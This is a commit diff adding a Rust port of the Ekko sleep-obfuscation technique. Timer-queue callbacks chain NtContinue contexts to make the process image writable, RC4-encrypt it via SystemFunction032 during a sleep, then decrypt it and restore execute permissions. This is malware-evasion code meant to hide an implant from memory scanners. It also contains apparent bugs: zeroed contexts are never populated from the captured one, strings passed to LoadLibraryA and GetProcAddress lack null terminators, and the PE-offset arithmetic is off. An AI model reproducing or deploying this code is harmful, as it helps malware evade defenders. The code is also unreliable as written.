1
+ extern crate winapi;
2
+
3
+ use std:: mem;
4
+ use std:: ptr:: null;
5
+ use std:: ptr:: null_mut;
6
+ use winapi:: ctypes:: c_void;
7
+ use winapi:: shared:: ntdef:: PVOID ;
8
+ use winapi:: um:: heapapi:: GetProcessHeap ;
9
+ use winapi:: um:: libloaderapi:: GetModuleHandleA ;
10
+ use winapi:: um:: libloaderapi:: GetProcAddress ;
11
+ use winapi:: um:: libloaderapi:: LoadLibraryA ;
12
+ use winapi:: um:: memoryapi:: VirtualProtect ;
13
+ use winapi:: um:: synchapi:: CreateEventW ;
14
+ use winapi:: um:: synchapi:: SetEvent ;
15
+ use winapi:: um:: synchapi:: WaitForSingleObject ;
16
+ use winapi:: um:: threadpoollegacyapiset:: CreateTimerQueue ;
17
+ use winapi:: um:: threadpoollegacyapiset:: CreateTimerQueueTimer ;
18
+ use winapi:: um:: winnt:: RtlCaptureContext ;
19
+ use winapi:: um:: winnt:: CONTEXT ;
20
+ use winapi:: shared:: ntdef:: NTSTATUS ;
21
+ use winapi:: um:: winnt:: WT_EXECUTEINTIMERTHREAD ;
22
+
23
+ #[ repr( C ) ]
24
+ pub struct UString {
25
+ length : u32 ,
26
+ max_length : u32 ,
27
+ buffer : * mut c_void ,
28
+ }
29
+
30
+ pub fn ekko ( sleep_time : u32 ) {
31
+ unsafe {
32
+ let mut ctx_thread: CONTEXT = mem:: zeroed ( ) ;
33
+ let mut rop_prot_rw: CONTEXT = mem:: zeroed ( ) ;
34
+ let mut rop_mem_enc: CONTEXT = mem:: zeroed ( ) ;
35
+ let mut rop_delay: CONTEXT = mem:: zeroed ( ) ;
36
+ let mut rop_mem_dec: CONTEXT = mem:: zeroed ( ) ;
37
+ let mut rop_prot_rx: CONTEXT = mem:: zeroed ( ) ;
38
+ let mut rop_set_evt: CONTEXT = mem:: zeroed ( ) ;
39
+
40
+ let h_timer_queue = CreateTimerQueue ( ) ;
41
+
42
+ let h_event = CreateEventW (
43
+ null_mut ( ) ,
44
+ 0 ,
45
+ 0 ,
46
+ null ( )
47
+ ) ;
48
+
49
+ let image_base = GetModuleHandleA ( null ( ) ) ;
50
+
51
+ let dos_header = image_base as * const u32 ;
52
+ let e_lfanew = * dos_header. offset ( 0x3C ) ;
53
+ let nt_headers = image_base. add ( e_lfanew as usize ) as * const u8 ;
54
+ let optional_header = nt_headers. add ( 24 ) as * const u32 ; // Assuming PE32+ structure
55
+
56
+ let image_size = * optional_header. offset ( 2 ) ; // SizeOfImage
57
+
58
+ let key_buf: [ u8 ; 16 ] = [ 0x55 ; 16 ] ;
59
+
60
+ let key = UString {
61
+ length : 16 ,
62
+ max_length : 16 ,
63
+ buffer : key_buf. as_ptr ( ) as * mut c_void ,
64
+ } ;
65
+
66
+ let img = UString {
67
+ length : image_size,
68
+ max_length : image_size,
69
+ buffer : image_base as * mut c_void ,
70
+ } ;
71
+
72
+ let sys_func_032 = GetProcAddress ( LoadLibraryA ( "Advapi32.dll" . as_ptr ( ) as * const i8 ) , "SystemFunction032" . as_ptr ( ) as * const i8 ) ;
73
+
74
+ let createtimerqueue = CreateTimerQueueTimer (
75
+ & mut null_mut ( ) ,
76
+ h_timer_queue,
77
+ Some ( timer_callback) ,
78
+ & mut ctx_thread as * mut _ as * mut c_void ,
79
+ 0 ,
80
+ 0 ,
81
+ WT_EXECUTEINTIMERTHREAD ,
82
+ ) ;
83
+
84
+ if createtimerqueue != 0 {
85
+ WaitForSingleObject ( h_event, 0x32 ) ;
86
+
87
+ rop_prot_rw. Rsp -= 8 ;
88
+ rop_prot_rw. Rip = VirtualProtect as u64 ;
89
+ rop_prot_rw. Rcx = image_base as u64 ;
90
+ rop_prot_rw. Rdx = image_size as u64 ;
91
+ rop_prot_rw. R8 = 0x04 as u64 ; // PAGE_READWRITE
92
+
93
+ rop_mem_enc. Rsp -= 8 ;
94
+ rop_mem_enc. Rip = sys_func_032 as u64 ;
95
+ rop_mem_enc. Rcx = & img as * const _ as u64 ;
96
+ rop_mem_enc. Rdx = & key as * const _ as u64 ;
97
+
98
+ rop_delay. Rsp -= 8 ;
99
+ rop_delay. Rip = WaitForSingleObject as u64 ;
100
+ rop_delay. Rcx = GetProcessHeap ( ) as u64 ;
101
+ rop_delay. Rdx = sleep_time as u64 ;
102
+
103
+ rop_mem_dec. Rsp -= 8 ;
104
+ rop_mem_dec. Rip = sys_func_032 as u64 ;
105
+ rop_mem_dec. Rcx = & img as * const _ as u64 ;
106
+ rop_mem_dec. Rdx = & key as * const _ as u64 ;
107
+
108
+ rop_prot_rx. Rsp -= 8 ;
109
+ rop_prot_rx. Rip = VirtualProtect as u64 ;
110
+ rop_prot_rx. Rcx = image_base as u64 ;
111
+ rop_prot_rx. Rdx = image_size as u64 ;
112
+ rop_prot_rx. R8 = 0x40 as u64 ; // PAGE_EXECUTE_READWRITE
113
+
114
+ rop_set_evt. Rsp -= 8 ;
115
+ rop_set_evt. Rip = SetEvent as u64 ;
116
+ rop_set_evt. Rcx = h_event as u64 ;
117
+
118
+
119
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_prot_rw as *const _ as PVOID, 100, 0, WT_EXECUTEINTIMERTHREAD);
120
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_mem_enc as *const _ as PVOID, 200, 0, WT_EXECUTEINTIMERTHREAD);
121
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_delay as *const _ as PVOID, 300, 0, WT_EXECUTEINTIMERTHREAD);
122
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_mem_dec as *const _ as PVOID, 400, 0, WT_EXECUTEINTIMERTHREAD);
123
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_prot_rx as *const _ as PVOID, 500, 0, WT_EXECUTEINTIMERTHREAD);
124
+ // CreateTimerQueueTimer(&mut ptr::null_mut(), h_timer_queue, nt_continue, &rop_set_evt as *const _ as PVOID, 600, 0, WT_EXECUTEINTIMERTHREAD);
125
+
126
+ let mut h_new_timer: * mut c_void = null_mut ( ) ;
127
+ let mut delay = 100 ;
128
+
129
+ for ctx in [ & rop_prot_rw, & rop_mem_enc, & rop_delay, & rop_mem_dec, & rop_prot_rx, & rop_set_evt] {
130
+ if CreateTimerQueueTimer ( & mut h_new_timer, h_timer_queue, Some ( nt_continue_wrapper) , ctx as * const _ as PVOID , delay, 0 , WT_EXECUTEINTIMERTHREAD ) != 0 {
131
+ delay += 100 ;
132
+ } else {
133
+ println ! ( "Failed to create timer" ) ;
134
+ break ;
135
+ }
136
+ }
137
+ }
138
+ }
139
+ }
140
+
141
+ extern "system" fn timer_callback ( lp_parameter : * mut winapi:: ctypes:: c_void , _dw_timer_low_value : u8 ) {
142
+ let context = lp_parameter as * mut CONTEXT ;
143
+ unsafe {
144
+ RtlCaptureContext ( context) ;
145
+ }
146
+ }
147
+
148
+ extern "system" fn nt_continue_wrapper ( lp_parameter : * mut winapi:: ctypes:: c_void , _dw_timer_low_value : u8 ) {
149
+ let context = lp_parameter as * mut CONTEXT ;
150
+ unsafe {
151
+ let nt_continue: unsafe extern "system" fn ( * mut CONTEXT ) -> NTSTATUS = std:: mem:: transmute ( GetProcAddress ( GetModuleHandleA ( "Ntdll\0 " . as_ptr ( ) as * const _ ) , "NtContinue\0 " . as_ptr ( ) as * const _ ) ) ;
152
+ nt_continue ( context) ;
153
+ }
154
+ }
0 commit comments